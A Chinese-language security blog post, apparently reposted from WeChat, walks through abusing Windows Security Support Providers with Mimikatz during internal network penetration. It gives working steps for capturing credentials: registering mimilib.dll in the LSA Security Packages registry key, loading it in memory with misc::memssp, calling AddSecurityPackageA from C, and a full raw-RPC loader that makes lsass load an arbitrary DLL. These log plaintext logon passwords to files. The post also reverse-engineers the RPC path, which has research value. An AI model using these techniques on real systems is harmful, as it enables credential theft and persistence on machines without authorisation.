深入探究Mimikataz内网渗透之SSP
2020-3-8 21:45:34 Author: mp.weixin.qq.com(查看原文) 阅读量:23 收藏

上面的蓝字关注我们哦!


01 初识SSP和SSPI
SSP,全称Security Support Provider,又名Security Package
SSPI,全称Security Support Provider Interface,是Windows系统在执行认证操作所使用的API
Microsoft提供了安全支持提供程序接口(SSPI)用于扩展Windows身份验证机制。每个称为安全支持提供程序(SSP)的模块都实现为动态链接库(DLL)。同时LSASS进程在Windows启动期间加载安全支持提供程序DLL。
简单的理解为SSPI是SSP的API接口
SSP在内网的利用有如下两种:
  • 注册SSP的DLL
  • 加载SSP至内存
更多详情可以查看微软官方文书:
https://docs.microsoft.com/en-us/windows/win32/rpc/security-support-provider-interface-sspi-
02 注册SSP的DLL
Local Security Authority,用于身份认证,常见进程为lsass.exe 特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中. 这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe
在我的WIN7环境中的注册表
hklm\system\currentcontrolset\control\lsa
LSA项中的Security Packages键值中存贮着相关SSP的DLL
先将Mimikatz的mimilib.dll复制到System32目录下
在注册表中添加mimilib的DLL名称,并重启系统。
会在路径C:\Windows\System32\kiwissp.log记录明文
03 内存加载SSP
利用Mimikatz中的misc::memssp加载mimilib至内存中去
加载至内存的好处就是无需重启系统,缺点在于不利于持续化
当管理员通过验证时,会在System32中mimilsa.log文件中记录
而除了mimikatz加载之外,还有一个动态加载SSP至内存的API
AddSecurityPackageA
在复制mimilib.dll到System32并添加注册表情况下
运行如下代码:
#define SECURITY_WIN32
#include <stdio.h>#include <Windows.h>#include <Security.h>#pragma comment(lib,"Secur32.lib")

int main(int argc, char **argv) { SECURITY_PACKAGE_OPTIONS option; option.Size = sizeof(option); option.Flags = 0; option.Type = SECPKG_OPTIONS_TYPE_LSA; option.SignatureSize = 0; option.Signature = NULL; SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option); printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);}
如上,当再次输入新的凭据时。会记录
04 Mimikatz加载SSP原理
在这之前进一步了解一下Windows AP:
Windows AP,全称是Authentication Package(身份验证程序包)
微软给出AP的官方定义如下:
一个DLL,其中封装了用于确定是否允许用户登录的身份验证逻辑。LSA通过将请求发送到身份验证包来对用户登录进行身份验证。然后,身份验证程序包将检查登录信息,并验证或拒绝用户登录尝试。
所以正如上面的DLL注册SSP时,实质上是将某个DLL注册为Windows AP。
接着来阅读Windows AP相关函数实现:
https://docs.microsoft.com/zh-cn/windows/win32/secauthn/authentication-functions#functions-implemented-by-sspaps
其中有个SpLsaModeInitialize函数
同时在官方文档的备注中写道
每个DLL中ppTables参数为一个SECPKG_FUNCTION_TABLE结构体
typedef struct _SECPKG_FUNCTION_TABLE {  PLSA_AP_INITIALIZE_PACKAGE              InitializePackage;  PLSA_AP_LOGON_USER                      LogonUser;  PLSA_AP_CALL_PACKAGE                    CallPackage;  PLSA_AP_LOGON_TERMINATED                LogonTerminated;  PLSA_AP_CALL_PACKAGE_UNTRUSTED          CallPackageUntrusted;  PLSA_AP_CALL_PACKAGE_PASSTHROUGH        CallPackagePassthrough;  PLSA_AP_LOGON_USER_EX                   LogonUserEx;  PLSA_AP_LOGON_USER_EX2                  LogonUserEx2;  SpInitializeFn                          *Initialize;  SpShutdownFn                            *Shutdown;  SpGetInfoFn                             *GetInfo;  SpAcceptCredentialsFn                   *AcceptCredentials;  SpAcquireCredentialsHandleFn            *AcquireCredentialsHandle;  SpQueryCredentialsAttributesFn          *QueryCredentialsAttributes;  SpFreeCredentialsHandleFn               *FreeCredentialsHandle;  SpSaveCredentialsFn                     *SaveCredentials;  SpGetCredentialsFn                      *GetCredentials;  SpDeleteCredentialsFn                   *DeleteCredentials;  SpInitLsaModeContextFn                  *InitLsaModeContext;  SpAcceptLsaModeContextFn                *AcceptLsaModeContext;  SpDeleteContextFn                       *DeleteContext;  SpApplyControlTokenFn                   *ApplyControlToken;  SpGetUserInfoFn                         *GetUserInfo;  SpGetExtendedInformationFn              *GetExtendedInformation;  SpQueryContextAttributesFn              *QueryContextAttributes;  SpAddCredentialsFn                      *AddCredentials;  SpSetExtendedInformationFn              *SetExtendedInformation;  SpSetContextAttributesFn                *SetContextAttributes;  SpSetCredentialsAttributesFn            *SetCredentialsAttributes;  SpChangeAccountPasswordFn               *ChangeAccountPassword;  SpQueryMetaDataFn                       *QueryMetaData;  SpExchangeMetaDataFn                    *ExchangeMetaData;  SpGetCredUIContextFn                    *GetCredUIContext;  SpUpdateCredentialsFn                   *UpdateCredentials;  SpValidateTargetInfoFn                  *ValidateTargetInfo;  LSA_AP_POST_LOGON_USER                  *PostLogonUser;  SpGetRemoteCredGuardLogonBufferFn       *GetRemoteCredGuardLogonBuffer;  SpGetRemoteCredGuardSupplementalCredsFn *GetRemoteCredGuardSupplementalCreds;  SpGetTbalSupplementalCredsFn            *GetTbalSupplementalCreds;} SECPKG_FUNCTION_TABLE, *PSECPKG_FUNCTION_TABLE;
阅读Mimikatz的mimilib源码:
https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kssp.c
观其源码中的def文件
设置了SpLsaModeInitialize函数,并在函数中设置了ppTables参数。
关于其中ARRAYSIZE宏,其解释如下:
简明扼要,就是获取ppTables组的元素数。
其中注册了SECPKG_FUNCTION_TABLE结构体如下内容
结合之前的结构体成员表分析
这对应的四个回调函数分别是:
  • SpInitialize:用于初始化SSP,提供一个函数指针列表。
  • SpShutDown:卸载SSP时就会被调用,杀死释放资源。
  • SpGetInfoFn:提供SSP相关信息,包括版本,名称以及描述。
  • SpAcceptCredentials:接收LSA传递的明文凭证,由SSP缓存,mimilib在这里实现了将明文凭证保存在文件c:\windows\system32\kiwissp.log中。
这里侧重说一下SpAcceptCredentials回调函数
其中有个PrimaryCredentials成员,其类型为PSECPKG_PRIMARY_CRED结构体。
再反观其kssp_SpAcceptCredentials回调函数中使用
klog_password(kssp_logfile, &PrimaryCredentials->Password)
记录日志到kiwissp.log
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials){  FILE *kssp_logfile;#pragma warning(push)#pragma warning(disable:4996)  if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))#pragma warning(pop)  {      klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);    klog_password(kssp_logfile, &PrimaryCredentials->Password);    klog(kssp_logfile, L"\n");    fclose(kssp_logfile);  }  return STATUS_SUCCESS;}
上述便是DLL注册SSP的技术原理。
之前在复现内存加载时候有用到一个API:AddSecurityPackageA
先来看看该API是如何注册SSP的,定位该API的导出链接库:Secur32.dll
而这里又是封装的Sspicli.dll!AddSecurityPackageA,跟入Sspicli.dll
这里看了XPN的博客后知道,在这里有一个NdrClientCall3
在IDA中定位NdrClientCall3
确实,IDA中调用关系图看得有点复杂
不得不说这里Ghidra还是很直观的
程序利用NdrClientCall3通过RPC发送信号给lsass
深入分析PTR_PTR_DAT
观其类型为MIDL_STUBLESS_PROXY_INFO结构体
typedef struct _MIDL_STUBLESS_PROXY_INFO {  PMIDL_STUB_DESC pStubDesc;  PFORMAT_STRING ProcFormatString;  const unsigned short *FormatStringOffset;  ...} MIDL_STUBLESS_PROXY_INFO;
其中pStubDesc字段为MIDL_STUB_DESC结构体,继续跟踪。
在Ghidra中跟进,其数据大致如下:
如微软官网所述,RpcInterfaceInformation指向RPC服务器接口结构。
这意味着我们可以用RPC_CLIENT_INTERFACE结构来解析
typedef struct _RPC_CLIENT_INTERFACE {  unsigned int          Length;  RPC_SYNTAX_IDENTIFIER InterfaceId;  RPC_SYNTAX_IDENTIFIER TransferSyntax;  PRPC_DISPATCH_TABLE   DispatchTable;  unsigned int          RpcProtseqEndpointCount;  PRPC_PROTSEQ_ENDPOINT RpcProtseqEndpoint;  ULONG_PTR             Reserved;  void const            *InterpreterInfo;  unsigned int          Flags;} RPC_CLIENT_INTERFACE, *PRPC_CLIENT_INTERFACE;
所以在Ghidra可以选择格式化类型,格式化如下:
最终获取到RCP接口的UUID
4F32ADC8-6052-4A04-8701-293CCF2096F0
有了UUID就好办了
利用RpcView工具查看相关RPC通讯信息
查看Location信息就可以看到这个UUID是在哪个DLL中
逆向分析sspisrv.dll
SspiSrvInitialize函数中,调用了RpcServerUseProtseqEp
RpcServerUseProtseqEp函数告诉RPC运行时库使用具有指定端点组合指定的协议序列,用于接收远程过程调用。
先来熟悉一下普通的RPC调用过程
详细的教程可以看:
https://docs.microsoft.com/zh-tw/windows/win32/rpc/the-client-application
再翻阅一下相关RPC接口:
https://gist.github.com/masthoon/510dd757b21f04da47431e9d4e0a3f6e
而之前在调用NdrClientCall3的时候给了一个nProcNum参数为3
所以此处应调用了SspirCallRpc的函数
这里可以通过RpcView工具查看调用该函数所需的参数
而我在这里结合powershell的Get-RpcServer来生成C#代码
$rpc = Get-RpcServer "c:\windows\system32\sspisrv.dll" | Select-RpcServer -InterfaceId "4f32adc8-6052-4a04-8701-293ccf2096f0"Format-RpcClient $rpc | Out-File test.cs
上述PS代码将会在本地目录输出test.cs文件
但需要注意的是powershell低版本中没有实现相关功能
这里加载程序至Windbg中,lm查看加载模块
并在NdrClientCall3函数下断点

大致汇编如下:
其中两行传参较为重要
000007fe`fd0f205f 4c896c2428      mov     qword ptr [rsp+28h],r13000007fe`fd0f2064 89442420        mov     dword ptr [rsp+20h],eax
eax的值是r13+2的地址上传来的
那这神秘的r13是什么呢~
指向25fc70地址,再看看这个地址上有些什么。
根据研究员XPN师傅的博客上可知,这是SspirCallRpc函数调用的arg_2
但是这里的数据结构与XPN师傅博客中大相径庭
加之网上对该方面的知识少之又少。
只能在这里借鉴XPN师傅的原图了
以及XPN对该RPC利用的实现脚本:
#define SECURITY_WIN32#define _CRT_SECURE_NO_WARNINGS
#include <iostream>#include <Windows.h>#include <subauth.h>#include <sspi.h>#include <Dbghelp.h>#include "sspi_h.h"
int main(int argc, char **argv) { RPC_STATUS status; UNICODE_STRING packageName; UWORD packetLen = 0; unsigned char* pszStringBinding = NULL; unsigned long ulCode; unsigned long long unk1; unsigned char rpcPacket[0x2000]; long out1 = 0, out2 = 0; void* out3 = (void*)0; struct Struct_144_t out4;
printf("\nAddSecurityPackage Raw RPC Example... by @_xpn_\n\n");
if (argc != 2) { printf("Usage: %s PACKAGE_PATH\n"); return 1; }
printf("[*] Building RPC packet\n");
// Init RPC packet memset(&packageName, 0, sizeof(packageName)); memset(rpcPacket, 0, sizeof(rpcPacket));
// Build DLL to be loaded by lsass packageName.Length = strlen(argv[1]) * 2; packageName.MaximumLength = (strlen(argv[1]) * 2) + 2; mbstowcs((wchar_t*)(rpcPacket + 0xd8), argv[1], (sizeof(rpcPacket) - 0xd8) / 2); packetLen = 0xd8 + packageName.MaximumLength;
// Complete RPC packet fields *(unsigned long long*)rpcPacket = 0xc4; // ?? *(unsigned short*)(rpcPacket + 2) = packetLen; // Length of packet *(unsigned long long*)((char*)rpcPacket + 8) = GetCurrentProcessId(); // Process ID *(unsigned long long*)((char*)rpcPacket + 16) = GetCurrentThreadId(); //Thread ID *(unsigned long long*)((char*)rpcPacket + 0x28) = 0x0b; // RPC call ID(Function ID) *(void**)((char*)rpcPacket + 0xd0) = &unk1; // ??
// Copy package name into RPC packet memcpy(rpcPacket + 0x40, &packageName, 8); *(unsigned long long*)((char*)rpcPacket + 0x48) = 0xd8; // Offset to unicode ssp name
// 建立一个String Binding句柄 status = RpcStringBindingCompose(NULL, (unsigned char*)"ncalrpc", NULL, (unsigned char*)"lsasspirpc", NULL, &pszStringBinding); if (status) { return 1; } printf("[*] Connecting to lsasspirpc RPC service\n"); //从字符串表示的绑定句柄,创建了一个default_IfHandle服务绑定句柄 status = RpcBindingFromStringBinding(pszStringBinding, &default_IfHandle); if (status) { return 1; }
memset(&out4, 0, sizeof(out4)); //这里开始便是调用服务端的函数了 RpcTryExcept { // Create our RPC context handle printf("[*] Sending SspirConnectRpc call\n"); long ret = Proc0_SspirConnectRpc((unsigned char *)NULL, 2, &out1, &out2, &out3);
// Make the "AddSecurityPackage" call directly via RPC printf("[*] Sending SspirCallRpc call\n"); ret = Proc3_SspirCallRpc(out3, packetLen, rpcPacket, &out2, (unsigned char **)&out3, &out4); } RpcExcept(1) //异常捕获 { ulCode = RpcExceptionCode(); if (ulCode == 0x6c6) { printf("[*] Error code 0x6c6 returned, which is expected if DLL load returns FALSE\n"); } else { printf("[!] Error code %x received\n", ulCode); } } RpcEndExcept
return 0;}
//MIDL分配和释放,必须实现,否则会连接错误void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len){ return(malloc(len));}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr){ free(ptr);}
这样便可以在不直接调用AddSecurityPackage下加载SSP包
05 参考链接
  1. https://github.com/gentilkiwi/mimikatz
  2. https://www.anquanke.com/post/id/180001
  3. https://docs.microsoft.com/zh-cn/windows/win32/secauthn/authentication-functions
  4. https://www.sans.org/blog/a-few-ghidra-tips-for-ida-users-part-4-function-call-graphs/
  5. https://blog.xpnsec.com/exploring-mimikatz-part-2
  6. https://reverseengineering.stackovernet.com/ja/q/1480
  7. https://www.voorp.com/a/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E4%B9%8B%E4%B8%80%E4%B8%AA%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84c%E7%A8%8B%E5%BA%8F%E5%AF%B9%E5%BA%94%E7%9A%84%E6%B1%87%E7%BC%96
  8. https://blog.csdn.net/zcmuczx/article/details/102370315

编写不易,点个在看吧!👇

文章来源: https://mp.weixin.qq.com/s?__biz=MzAxNDk0MDU2MA==&mid=2247483920&idx=1&sn=69fb968e95e3cff42816f12b3d252fbf&chksm=9b8ae2efacfd6bf9c90f41aea671dc627949d4923c84d7565b0ab12dd11b93499573a479674b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh